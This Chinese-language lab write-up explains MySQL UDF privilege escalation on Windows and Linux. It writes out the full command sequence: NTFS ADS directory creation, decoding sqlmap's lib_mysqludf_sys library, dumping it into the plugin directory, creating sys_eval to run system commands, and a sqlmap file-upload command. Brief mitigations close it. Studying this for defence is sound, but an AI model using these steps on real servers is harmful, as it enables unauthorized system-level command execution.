udf提权
UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用
原理
UDF提权是利用MYSQL的自定义函数功能,构造特定得DLL将Mysql账号转化为系统system权限
利用条件
可利用于windows系统,linux系统
Windows文件是dll文件;linux里面的文件是so文件。
①拥有创建和删除权限,可以将udf.dll写入到相应目录的权限
②Mysql版本大于5.1版本
udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下
该目录默认是不存在的,这就需要到Mysql的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到plugin目录即可
(在某些情况下,我们会遇到Can’t open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,利用NTFS ADS流来创建文件夹的方法)
select @@basedir; //查找到mysql的目录
select 'xxx' into dumpfile 'Mysql安装路径\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'xxx' into dumpfile 'Mysql安装路径\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录 )
③Mysql版本小于5.1版本
udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32
(网络上有很多关于udf提权的利用脚本)
实验
windows下
拿到mysql数据库用户名密码之后,登录到数据库。查看安装路径及plugin目录路径(事实并不存在,需要自己创建)
select @@basedir ; //获取安装目录
show variables like "%plugin%"; //寻找mysql安装路径
show variables like "%secure_file%"; //查看允许导入的权限为空则任意路径可写
尝试将secure_file_priv的值改成’’(空值)
用于提权的udf.dll在sqlmap里可以找到,sqlmap/udf/mysql/windows下边有32和64两种
(这里的位数是mysql的位数,并不是对方系统的位数)
注意踩坑:32位和64位要弄清楚!!一开始我用了64位的一直不行,换了32位才提权成功;但是截图里我还是用的64,读者做实验的时候请注意了!!
sqlmap里的udf.dll是经过编码的,利用的话需要先解码,解码的工具就在 sqlmap/extra/cloak/cloak.py
cloak.py -d -i sqlmap目录\sqlmap\udf\mysql\windows\64(32)\lib_mysqludf_sys.dll
解码完了,在sqlmap\udf\mysql\windows,32和64文件夹下会生成dll文件
将dll文件写到mysql的/lib/plugin目录下
创建函数
create function sys_eval/sys_exec/cmdshel returns string soname "lib_mysqludf_sys.dll";
提权成功后利用创建的方法执行语句
删除函数
linux下 方法一(实验图就不放了,加上上面的就太多了- -)
写入插件
(网上很多udf提权的编码,百度、github)
mysql> set @a=unhex('udf十六进制编码');
mysql> select @a into dumpfile '/usr/lib/mysql/plugin/udf.so';//创建自定义函数,引用方法,成功执行系统命令:
mysql> select * from func; //检查是否已经有人导出过了
mysql> create function sys_eval returns string soname 'udf.so';
mysql> select sys_eval('whoami'); //提权成功
mysql> drop function sys_eval;// 将函数删除
linux下 方法二
如果mysql可外连,也可以使用sqlmap进行上传so文件
sqlmap.py -d "mysql://root:test1234@@192.168.226.128:3306/mysql" --file-write="sqlmap目录\data\udf\mysql\linux\64\lib_mysqludf_sys.so_" --file-dest="/usr/lib/mysql/plugin/udf.so"
接下来的利用步骤同上
安全防范
(1) 尽量避免提供对外链接,通过mysql中的user表进行查看,禁用“%”
(2) 设置复杂的root账号密码
(3) 对my.ini设置只读属性,设置plugin目录为只读目录
GOT IT!
******************************************************
小实验小结,具体测试利用方式需根据具体实践场景~